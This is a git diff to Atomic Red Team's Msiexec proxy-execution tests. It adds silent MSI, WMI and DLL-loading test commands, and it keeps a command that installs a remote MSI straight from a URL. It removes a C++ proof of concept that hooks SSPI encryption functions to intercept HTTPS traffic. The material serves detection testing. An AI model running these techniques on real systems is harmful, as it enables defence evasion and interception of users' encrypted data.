diff --git a/atomics/T1218.007/T1218.007.yaml b/atomics/T1218.007/T1218.007.yaml index 60a88764..862eb15d 100644 --- a/atomics/T1218.007/T1218.007.yaml +++ b/atomics/T1218.007/T1218.007.yaml @@ -1,67 +1,277 @@ attack_technique: T1218.007 display_name: 'Signed Binary Proxy Execution: Msiexec' atomic_tests: -- name: Msiexec.exe - Execute Local MSI file - auto_generated_guid: 0683e8f7-a27b-4b62-b7ab-dc7d4fed1df8 +- name: Msiexec.exe - Execute Local MSI file with embedded JScript description: | - Execute arbitrary MSI file. Commonly seen in application installation. The MSI opens notepad.exe when sucessfully executed. + Executes an MSI containing embedded JScript code using msiexec.exe supported_platforms: - windows input_arguments: msi_payload: description: MSI file to execute type: Path - default: PathToAtomicsFolder\T1218.007\src\Win32\T1218.msi + default: PathToAtomicsFolder\T1218.007\src\T1218.007_JScript.msi + action: + description: | + Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. + type: String + default: i dependency_executor_name: powershell dependencies: - description: | - T1218.msi must exist on disk at specified location (#{msi_payload}) + The MSI file must exist on disk at specified location (#{msi_payload}) prereq_command: | if (Test-Path #{msi_payload}) {exit 0} else {exit 1} get_prereq_command: | Write-Host "You must provide your own MSI" executor: command: | - msiexec.exe /q /i "#{msi_payload}" + msiexec.exe /q /#{action} "#{msi_payload}" + name: command_prompt +- name: Msiexec.exe - Execute Local MSI file with embedded VBScript + description: | + Executes an MSI containing embedded VBScript code using msiexec.exe + supported_platforms: + - windows + input_arguments: + msi_payload: + description: MSI file to execute + type: Path + default: PathToAtomicsFolder\T1218.007\src\T1218.007_VBScript.msi + action: + description: | + Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. + type: String + default: i + dependency_executor_name: powershell + dependencies: + - description: | + The MSI file must exist on disk at specified location (#{msi_payload}) + prereq_command: | + if (Test-Path #{msi_payload}) {exit 0} else {exit 1} + get_prereq_command: | + Write-Host "You must provide your own MSI" + executor: + command: | + msiexec.exe /q /#{action} "#{msi_payload}" + name: command_prompt +- name: Msiexec.exe - Execute Local MSI file with an embedded DLL + description: | + Executes an MSI containing an embedded DLL using msiexec.exe + supported_platforms: + - windows + input_arguments: + msi_payload: + description: MSI file to execute + type: Path + default: PathToAtomicsFolder\T1218.007\src\T1218.007_DLL.msi + action: + description: | + Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. + type: String + default: i + dependency_executor_name: powershell + dependencies: + - description: | + The MSI file must exist on disk at specified location (#{msi_payload}) + prereq_command: | + if (Test-Path #{msi_payload}) {exit 0} else {exit 1} + get_prereq_command: | + Write-Host "You must provide your own MSI" + executor: + command: | + msiexec.exe /q /#{action} "#{msi_payload}" + name: command_prompt +- name: Msiexec.exe - Execute Local MSI file with an embedded EXE + description: | + Executes an MSI containing an embedded EXE using msiexec.exe + supported_platforms: + - windows + input_arguments: + msi_payload: + description: MSI file to execute + type: Path + default: PathToAtomicsFolder\T1218.007\src\T1218.007_EXE.msi + action: + description: | + Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. + type: String + default: i + dependency_executor_name: powershell + dependencies: + - description: | + The MSI file must exist on disk at specified location (#{msi_payload}) + prereq_command: | + if (Test-Path #{msi_payload}) {exit 0} else {exit 1} + get_prereq_command: | + Write-Host "You must provide your own MSI" + executor: + command: | + msiexec.exe /q /#{action} "#{msi_payload}" + name: command_prompt +- name: WMI Win32_Product Class - Execute Local MSI file with embedded JScript + description: | + Executes an MSI containing embedded JScript code using the WMI Win32_Product class + supported_platforms: + - windows + input_arguments: + msi_payload: + description: MSI file to execute + type: Path + default: PathToAtomicsFolder\T1218.007\src\T1218.007_JScript.msi + action: + description: | + Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. + type: String + default: Install + dependency_executor_name: powershell + dependencies: + - description: | + The MSI file must exist on disk at specified location (#{msi_payload}) + prereq_command: | + if (Test-Path #{msi_payload}) {exit 0} else {exit 1} + get_prereq_command: | + Write-Host "You must provide your own MSI" + executor: + command: | + Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' } + name: powershell +- name: WMI Win32_Product Class - Execute Local MSI file with embedded VBScript + description: | + Executes an MSI containing embedded VBScript code using the WMI Win32_Product class + supported_platforms: + - windows + input_arguments: + msi_payload: + description: MSI file to execute + type: Path + default: PathToAtomicsFolder\T1218.007\src\T1218.007_VBScript.msi + action: + description: | + Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. + type: String + default: Install + dependency_executor_name: powershell + dependencies: + - description: | + The MSI file must exist on disk at specified location (#{msi_payload}) + prereq_command: | + if (Test-Path #{msi_payload}) {exit 0} else {exit 1} + get_prereq_command: | + Write-Host "You must provide your own MSI" + executor: + command: | + Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' } + name: powershell +- name: WMI Win32_Product Class - Execute Local MSI file with an embedded DLL + description: | + Executes an MSI containing an embedded DLL using the WMI Win32_Product class + supported_platforms: + - windows + input_arguments: + msi_payload: + description: MSI file to execute + type: Path + default: PathToAtomicsFolder\T1218.007\src\T1218.007_DLL.msi + action: + description: | + Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. + type: String + default: Install + dependency_executor_name: powershell + dependencies: + - description: | + The MSI file must exist on disk at specified location (#{msi_payload}) + prereq_command: | + if (Test-Path #{msi_payload}) {exit 0} else {exit 1} + get_prereq_command: | + Write-Host "You must provide your own MSI" + executor: + command: | + Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' } + name: powershell +- name: WMI Win32_Product Class - Execute Local MSI file with an embedded EXE + description: | + Executes an MSI containing an embedded EXE using the WMI Win32_Product class + supported_platforms: + - windows + input_arguments: + msi_payload: + description: MSI file to execute + type: Path + default: PathToAtomicsFolder\T1218.007\src\T1218.007_EXE.msi + action: + description: | + Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. + type: String + default: Install + dependency_executor_name: powershell + dependencies: + - description: | + The MSI file must exist on disk at specified location (#{msi_payload}) + prereq_command: | + if (Test-Path #{msi_payload}) {exit 0} else {exit 1} + get_prereq_command: | + Write-Host "You must provide your own MSI" + executor: + command: | + Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' } + name: powershell +- name: Msiexec.exe - Execute the DllRegisterServer function of a DLL + description: | + Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the "src" folder is only built for 64-bit, so this won't work on a 32-bit OS. + supported_platforms: + - windows + input_arguments: + dll_payload: + description: DLL to execute that has an implemented DllRegisterServer function + type: Path + default: PathToAtomicsFolder\T1218.007\src\MSIRunner.dll + dependency_executor_name: powershell + dependencies: + - description: | + The DLL must exist on disk at specified location (#{dll_payload}) + prereq_command: | + if (Test-Path #{dll_payload}) {exit 0} else {exit 1} + get_prereq_command: | + Write-Host "You must provide your own MSI" + executor: + command: | + msiexec.exe /y "#{dll_payload}" + name: command_prompt +- name: Msiexec.exe - Execute the DllUnregisterServer function of a DLL + description: | + Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the "src" folder is only built for 64-bit, so this won't work on a 32-bit OS. + supported_platforms: + - windows + input_arguments: + dll_payload: + description: DLL to execute that has an implemented DllUnregisterServer function + type: Path + default: PathToAtomicsFolder\T1218.007\src\MSIRunner.dll + dependency_executor_name: powershell + dependencies: + - description: | + The DLL must exist on disk at specified location (#{dll_payload}) + prereq_command: | + if (Test-Path #{dll_payload}) {exit 0} else {exit 1} + get_prereq_command: | + Write-Host "You must provide your own MSI" + executor: + command: | + msiexec.exe /z "#{dll_payload}" name: command_prompt - name: Msiexec.exe - Execute Remote MSI file - auto_generated_guid: bde7d2fe-d049-458d-a362-abda32a7e649 description: | - Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI opens notepad.exe when sucessfully executed. + Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe. supported_platforms: - windows input_arguments: msi_payload: description: MSI file to execute type: String - default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/Win32/T1218.msi + default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/T1218.007_JScript.msi executor: command: | msiexec.exe /q /i "#{msi_payload}" - name: command_prompt -- name: Msiexec.exe - Execute Arbitrary DLL - auto_generated_guid: 66f64bd5-7c35-4c24-953a-04ca30a0a0ec - description: | - Execute arbitrary DLL file stored locally. Commonly seen in application installation. - Upon execution, a window titled "Boom!" will open that says "Locked and Loaded!". For 32 bit systems change the dll_payload argument to the Win32 folder. - By default, if the src folder is not in place, it will download the 64 bit version. - supported_platforms: - - windows - input_arguments: - dll_payload: - description: DLL to execute - type: Path - default: PathToAtomicsFolder\T1218.007\src\x64\T1218.dll - dependency_executor_name: powershell - dependencies: - - description: | - T1218.dll must exist on disk at specified location (#{dll_payload}) - prereq_command: | - if (Test-Path #{dll_payload}) {exit 0} else {exit 1} - get_prereq_command: | - New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null - Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/x64/T1218.dll" -OutFile "#{dll_payload}" - executor: - command: | - msiexec.exe /y "#{dll_payload}" name: command_prompt \ No newline at end of file diff --git a/atomics/T1218.007/src/MSIRunner.dll b/atomics/T1218.007/src/MSIRunner.dll new file mode 100755 index 00000000..320d100d Binary files /dev/null and b/atomics/T1218.007/src/MSIRunner.dll differ diff --git a/atomics/T1218.007/src/T1218.007_DLL.msi b/atomics/T1218.007/src/T1218.007_DLL.msi new file mode 100755 index 00000000..cb88d68f Binary files /dev/null and b/atomics/T1218.007/src/T1218.007_DLL.msi differ diff --git a/atomics/T1218.007/src/T1218.007_EXE.msi b/atomics/T1218.007/src/T1218.007_EXE.msi new file mode 100755 index 00000000..aef6d58e Binary files /dev/null and b/atomics/T1218.007/src/T1218.007_EXE.msi differ diff --git a/atomics/T1218.007/src/T1218.007_JScript.msi b/atomics/T1218.007/src/T1218.007_JScript.msi new file mode 100755 index 00000000..2b487b62 Binary files /dev/null and b/atomics/T1218.007/src/T1218.007_JScript.msi differ diff --git a/atomics/T1218.007/src/T1218.007_VBScript.msi b/atomics/T1218.007/src/T1218.007_VBScript.msi new file mode 100755 index 00000000..ef62017c Binary files /dev/null and b/atomics/T1218.007/src/T1218.007_VBScript.msi differ diff --git a/atomics/T1218.007/src/T1218.cpp b/atomics/T1218.007/src/T1218.cpp old mode 100644 new mode 100755 index 701fe2a4..2d4faad1 --- a/atomics/T1218.007/src/T1218.cpp +++ b/atomics/T1218.007/src/T1218.cpp @@ -1,147 +1,95 @@ -#define SECURITY_WIN32 //Define First Before Imports. - #include -#include -#include //Be sure to reference secur32.lib in Linker | Input | Additional Dependencies +#include +#include +#pragma comment(lib, "msi.lib") -FARPROC fpEncryptMessage; //Pointer To The Original Location -BYTE bSavedByte; //Saved Byte Overwritten by 0xCC - +UINT __stdcall CustomAction(MSIHANDLE hInstall) { + PROCESS_INFORMATION processInformation; + STARTUPINFO startupInfo; + BOOL creationResult; -FARPROC fpDecryptMessage; //Pointer To The Original Location -BYTE bSavedByte2; //Saved Byte Overwritten by 0xCC - + WCHAR szCmdline[] = L"powershell.exe -nop -Command Write-Host CustomAction export executed me; exit"; + ZeroMemory(&processInformation, sizeof(processInformation)); + ZeroMemory(&startupInfo, sizeof(startupInfo)); + startupInfo.cb = sizeof(startupInfo); + creationResult = CreateProcess( + NULL, + szCmdline, + NULL, + NULL, + FALSE, + CREATE_NO_WINDOW, + NULL, + NULL, + &startupInfo, + &processInformation); -// Original Idea/Reference Blog Post Here: -// https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108 -// PoC by Casey Smith @subTee -// From PowerShell -// mavinject.exe $pid /INJECTRUNNING C:\AtomicTests\AtomicSSLHookx64.dll -// curl https://www.example.com -// Should Hook and Display Request/Response from HTTPS - - - - -BOOL WriteMemory(FARPROC fpFunc, LPCBYTE b, SIZE_T size) { - DWORD dwOldProt = 0; - if (VirtualProtect(fpFunc, size, PAGE_EXECUTE_READWRITE, &dwOldProt) == FALSE) { - return FALSE; - } - MoveMemory(fpFunc, b, size); - - return VirtualProtect(fpFunc, size, dwOldProt, &dwOldProt); + return 0; } -//TODO, Combine HOOK Function To take 2 params. DLL and Function Name. -VOID HookFunction(VOID) { - fpEncryptMessage = GetProcAddress(LoadLibrary(L"sspicli.dll"), "EncryptMessage"); - if (fpEncryptMessage == NULL) { - return; - } +HRESULT DllRegisterServer() { + PROCESS_INFORMATION processInformation; + STARTUPINFO startupInfo; + BOOL creationResult; - bSavedByte = *(LPBYTE)fpEncryptMessage; + WCHAR szCmdline[] = L"powershell.exe -nop -Command Write-Host DllRegisterServer export executed me; exit"; - const BYTE bInt3 = 0xCC; - if (WriteMemory(fpEncryptMessage, &bInt3, sizeof(BYTE)) == FALSE) { - ExitThread(0); - } + ZeroMemory(&processInformation, sizeof(processInformation)); + ZeroMemory(&startupInfo, sizeof(startupInfo)); + startupInfo.cb = sizeof(startupInfo); + creationResult = CreateProcess( + NULL, + szCmdline, + NULL, + NULL, + FALSE, + CREATE_NO_WINDOW, + NULL, + NULL, + &startupInfo, + &processInformation); + + return 0; } -VOID HookFunction2(VOID) { - fpDecryptMessage = GetProcAddress(LoadLibrary(L"sspicli.dll"), "DecryptMessage"); - if (fpDecryptMessage == NULL) { - return; - } +HRESULT DllUnregisterServer() { + PROCESS_INFORMATION processInformation; + STARTUPINFO startupInfo; + BOOL creationResult; - bSavedByte2 = *(LPBYTE)fpDecryptMessage; + WCHAR szCmdline[] = L"powershell.exe -nop -Command Write-Host DllUnregisterServer export executed me; exit"; - const BYTE bInt3 = 0xCC; - if (WriteMemory(fpDecryptMessage, &bInt3, sizeof(BYTE)) == FALSE) { - ExitThread(0); - } + ZeroMemory(&processInformation, sizeof(processInformation)); + ZeroMemory(&startupInfo, sizeof(startupInfo)); + startupInfo.cb = sizeof(startupInfo); + creationResult = CreateProcess( + NULL, + szCmdline, + NULL, + NULL, + FALSE, + CREATE_NO_WINDOW, + NULL, + NULL, + &startupInfo, + &processInformation); + + return 0; } -SECURITY_STATUS MyEncryptMessage( - PCtxtHandle phContext, - ULONG fQOP, - PSecBufferDesc pMessage, - ULONG MessageSeqNo -) +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) { - - char* buffer = (char*)((DWORD_PTR)(pMessage->pBuffers->pvBuffer) + 0x29); //Just Hardcode for PoC - - ::MessageBoxA(NULL, buffer, "MITM Intercept", 0); - - if (WriteMemory(fpEncryptMessage, &bSavedByte, sizeof(BYTE)) == FALSE) { - ExitThread(0); - } - - SECURITY_STATUS SEC_EntryRet = EncryptMessage(phContext, fQOP, pMessage, MessageSeqNo); - HookFunction(); - return SEC_EntryRet; -} - -SECURITY_STATUS MyDecryptMessage( - PCtxtHandle phContext, - PSecBufferDesc pMessage, - ULONG MessageSeqNo, - ULONG fQOP -) -{ - - if (WriteMemory(fpDecryptMessage, &bSavedByte2, sizeof(BYTE)) == FALSE) { - ExitThread(0); - } - - SECURITY_STATUS SEC_EntryRet = DecryptMessage(phContext, pMessage, MessageSeqNo, &fQOP ); - - char* buffer = (char*)(pMessage->pBuffers->pvBuffer); - - ::MessageBoxA(NULL, buffer, "MITM Intercept", 0); - - HookFunction2(); - return SEC_EntryRet; -} - - -LONG WINAPI -MyVectoredExceptionHandler1( - struct _EXCEPTION_POINTERS *ExceptionInfo -) -{ - UNREFERENCED_PARAMETER(ExceptionInfo); -#ifdef _WIN64 - if (ExceptionInfo->ContextRecord->Rip == (DWORD_PTR)fpEncryptMessage) { - ExceptionInfo->ContextRecord->Rip = (DWORD_PTR)MyEncryptMessage; - } - - if (ExceptionInfo->ContextRecord->Rip == (DWORD_PTR)fpDecryptMessage) { - ExceptionInfo->ContextRecord->Rip = (DWORD_PTR)MyDecryptMessage; - } - -#else - if (ExceptionInfo->ContextRecord->Eip == (DWORD_PTR)fpEncryptMessage) { - ExceptionInfo->ContextRecord->Eip = (DWORD_PTR)MyEncryptMessage; - } - - if (ExceptionInfo->ContextRecord->Eip == (DWORD_PTR)fpDecryptMessage) { - ExceptionInfo->ContextRecord->Eip = (DWORD_PTR)MyDecryptMessage; - } - -#endif - return EXCEPTION_CONTINUE_SEARCH; -} - -BOOL APIENTRY DllMain(HANDLE hInstance, DWORD fdwReason, LPVOID lpReserved) { - switch (fdwReason) { - case DLL_PROCESS_ATTACH: - AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)MyVectoredExceptionHandler1); - HookFunction(); - HookFunction2(); - ::MessageBoxA(NULL, "Locked and Loaded!", "Boom!", 0); - break; - } - - return TRUE; -} + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} \ No newline at end of file diff --git a/atomics/T1218.007/src/Win32/T1218.msi b/atomics/T1218.007/src/Win32/T1218.msi deleted file mode 100644 index 4ed5e33f..00000000 Binary files a/atomics/T1218.007/src/Win32/T1218.msi and /dev/null differ diff --git a/atomics/T1218.007/src/x64/T1218.dll b/atomics/T1218.007/src/x64/T1218.dll deleted file mode 100644 index 91bffa6a..00000000 Binary files a/atomics/T1218.007/src/x64/T1218.dll and /dev/null differ